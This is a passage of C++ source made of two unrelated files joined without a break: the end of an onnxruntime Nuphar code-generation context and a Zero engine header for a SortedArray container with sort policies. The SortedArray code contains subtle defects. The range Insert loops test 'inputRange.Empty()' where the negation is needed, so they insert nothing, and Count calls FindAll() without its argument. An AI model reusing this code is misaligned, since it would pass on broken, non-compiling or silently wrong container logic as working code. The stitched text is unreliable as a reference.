WeightLayoutCodegenInfo* NupharCodeGenCtx::GetWeightLayoutInfo(const std::string& name) const { if (initializer_layouts_.count(name) > 0) return initializer_layouts_.at(name).get(); return nullptr; } void NupharCodeGenCtx::CreateWeightLayoutInfo(const std::string& name, const tvm::Tensor& tensor) { ORT_ENFORCE(initializer_layouts_.count(name) == 0); initializer_layouts_.emplace(name, std::move(onnxruntime::make_unique<WeightLayoutCodegenInfo>(tensor))); } const std::map<std::string, std::unique_ptr<WeightLayoutCodegenInfo>>& NupharCodeGenCtx::GetWeightLayoutMap() const { return initializer_layouts_; } void NupharCodeGenCtx::RecordTensorToNode(const tvm::Tensor& t, const Node* node) { // Insert tvm::Tensor and Node to the lookup table // But bypass it when node is a output alias if (!Promote<CodeGenUnitStats>(graph_stats_)->IsOutputAlias(node)) tvm_tensor_to_node_lookup_.insert(std::make_pair(t->op.get(), node)); } const Node* NupharCodeGenCtx::FindNode(const tvm::Tensor& t) const { auto p = tvm_tensor_to_node_lookup_.find(t->op.get()); if (p != tvm_tensor_to_node_lookup_.end()) return p->second; return nullptr; } const NupharCodeGenHandle* NupharCodeGenCtx::GetCodeGenHandle() const { return nuphar_handle_; } } // namespace nuphar } // namespace onnxruntime
/////////////////////////////////////////////////////////////////////////////// /// /// Authors: Andrew Colean /// Copyright 2015, DigiPen Institute of Technology /// /////////////////////////////////////////////////////////////////////////////// #pragma once // Includes #include "ContainerCommon.hpp" #include "Algorithm.hpp" #include "Array.hpp" namespace Zero { /// Policy for how values are sorted template<typename ValueType> struct SortPolicy : public ComparePolicy<ValueType> { /// Typedefs typedef ValueType value_type; /// Default behavior is to expect the value type to have a less-than operator callable with the compare type /// If a compilation error occurs here, define a compatible less-than operator or use another sort policy template<typename CompareType> bool operator()(const value_type& lhs, const CompareType& rhs) const { return lhs < rhs; } }; /// Intended for use by containers that store associative pointer objects template<typename ValueType> struct PointerSortPolicy { typedef ValueType value_type; /// Dereferences before comparing with another value template<typename CompareType> bool operator()(const value_type& lhs, const CompareType& rhs) const { return *lhs < rhs; } bool operator()(const value_type& lhs, const value_type& rhs) const { return *lhs < *rhs; } template<typename CompareType> bool Equal(const value_type& lhs, const CompareType& rhs) const { return *lhs == rhs; } bool Equal(const value_type& lhs, const value_type& rhs) const { return *lhs == *rhs; } }; /// Sorted Array is an Associative Sequenced Container /// Contains a sorted set of objects in a contiguous dynamic array /// Insertion order of equivalent objects is preserved, with newer objects inserted at the lower bound /// Search, insertion, and removal operations have O(log n) complexity /// Functionality is similar to std::multiset but with better performance template<typename ValueType, typename Sorter = SortPolicy<ValueType>, typename Allocator = DefaultAllocator> class SortedArray : public Array<ValueType, Allocator> { public: /// Typedefs typedef SortedArray<ValueType, Sorter, Allocator> this_type; typedef Array<ValueType, Allocator> array_type; typedef array_type base_type; typedef typename base_type::pointer pointer; typedef typename base_type::iterator iterator; typedef typename base_type::size_type size_type; typedef typename base_type::const_reference const_reference; typedef typename base_type::const_iterator const_iterator; typedef typename base_type::value_type value_type; typedef typename base_type::range range; typedef Sorter sorter_type; typedef Pair<pointer, bool> pointer_bool_pair; protected: /// Base methods hidden to provide container behavior using base_type::PushBack; using base_type::Insert; using base_type::InsertAt; using base_type::Assign; using base_type::Append; //using base_type::erase_value; using base_type::FindIndex; //using base_type::find_iterator; // using base_type::find_pointer; //using base_type::Contains; public: // // Member Functions // /// Default Constructor SortedArray() : base_type(), mSorter() { } /// Copy Constructor SortedArray(const this_type& rhs) : base_type(rhs), mSorter(rhs.mSorter) { } /// Move Constructor SortedArray(MoveReference<this_type> rhs) : base_type(ZeroMove(static_cast<base_type&>(*rhs))), mSorter(rhs->mSorter) { } /// Copy Assignment Operator SortedArray& operator =(const this_type& rhs) { base_type::operator=(rhs); mSorter = rhs.mSorter; return *this; } /// Move Assignment Operator SortedArray& operator =(MoveReference<this_type> rhs) { base_type::operator=(ZeroMove(static_cast<base_type&>(*rhs))); mSorter = rhs->mSorter; return *this; } // // Search Operations // /// Returns an iterator to the first equivalent element in the array, else End() template<typename CompareType> iterator FindIterator(const CompareType& value) { // Get lower bound iterator position = LowerBound(base_type::All(), value, mSorter).Begin(); if(position != base_type::End() && mSorter.Equal(*position, value)) // Found? return position; else return base_type::End(); } template<typename CompareType> const_iterator FindIterator(const CompareType& value) const { return const_cast<this_type*>(this)->FindIterator(value); } /// Returns the index of the first equivalent element in the array, else InvalidIndex template<typename CompareType> size_type FindIndex(const CompareType& value) const { // Get lower bound iterator position = LowerBound(base_type::All(), value, mSorter).Begin(); size_type index = position - base_type::mData; if(position != base_type::End() && mSorter.Equal(*position, value)) // Found? return index; else return base_type::InvalidIndex; } /// Returns a pointer to the first equivalent element in the array, else nullptr template<typename CompareType> pointer FindPointer(const CompareType& value) const { // Find first instance size_type index = FindIndex(value); if(index == base_type::InvalidIndex) // Unable? return nullptr; else return base_type::mData + index; } /// Returns the value of the first equivalent element in the array, else valueIfNotFound template<typename CompareType> const_reference FindValue(const CompareType& value, const_reference valueIfNotFound) const { // Find first instance size_type index = FindIndex(value); if(index == base_type::InvalidIndex) // Unable? return valueIfNotFound; else return base_type::mData[index]; } /// Returns the range of all equivalent elements in the array template<typename CompareType> range FindAll(const CompareType& value) const { return LowerAndUpperBound(base_type::All(), value, mSorter); } /// Returns the number of all equivalent elements in the array template<typename CompareType> size_type Count(const CompareType& value) const { return FindAll().Length(); } /// Returns true if the array Contains an equivalent element, else false template<typename CompareType> bool Contains(const CompareType& value) const { return FindIndex(value) != base_type::InvalidIndex; } bool Contains(const value_type& value) const { return Contains<value_type>(value); } // // Insertion Operations // /// Inserts an element at it's sorted position in the array /// Returns a pointer to the inserted element pointer Insert(const_reference value) { // Get lower bound iterator position = LowerBound(base_type::All(), value, mSorter).Begin(); size_type index = position - base_type::mData; base_type::Insert(position, value); return base_type::mData + index; } pointer Insert(MoveReference<value_type> value) { // Get lower bound iterator position = LowerBound(base_type::All(), *value, mSorter).Begin(); size_type index = position - base_type::mData; base_type::Insert(position, ZeroMove(value)); return base_type::mData + index; } /// Inserts a range of elements at their sorted positions in the array template<typename iteratorType> void Insert(iteratorType begin, iteratorType end) { Insert(BuildRange(begin, end)); } template<typename inputRangeType> void Insert(inputRangeType inputRange) { // Insert all elements in range for( ; inputRange.Empty(); inputRange.PopFront()) Insert(inputRange.Front()); } template<typename inputRangeType> void Insert(MoveReference<inputRangeType> inputRange) { // Insert all elements in range for( ; inputRange.Empty(); inputRange.PopFront()) Insert(ZeroMove(inputRange.Front())); } /// Clears the array and inserts a range of elements at their sorted positions in the array template<typename iteratorType> void Assign(iteratorType begin, iteratorType end) { base_type::Clear(); Insert(BuildRange(begin, end)); } template<typename inputRangeType> void Assign(inputRangeType range) { base_type::Clear(); Insert(range); } template<typename inputRangeType> void Assign(MoveReference<inputRangeType> range) { base_type::Clear(); Insert(ZeroMove(range)); } // // Removal Operations // /// Removes the first equivalent element from the array /// Returns a pair consisting of a pointer to the element following the erased element (or End() if the element could not be found), /// and a bool which will be true if the erase took place, else false template<typename CompareType> pointer_bool_pair EraseValue(const CompareType& value) { // Erase first instance size_type index = FindIndex(value); if(index == base_type::InvalidIndex) // Unable? return pointer_bool_pair(base_type::End(), false); else return pointer_bool_pair(base_type::Erase(base_type::mData + index), true); } pointer_bool_pair EraseValue(const value_type& value) { return EraseValue<value_type>(value); } /// Removes all equivalent elements from the array template<typename CompareType> void EraseAll(const CompareType& value) { // Erase all instances base_type::Erase(FindAll(value)); } protected: /// Sort policy functor Sorter mSorter; }; } // namespace Zero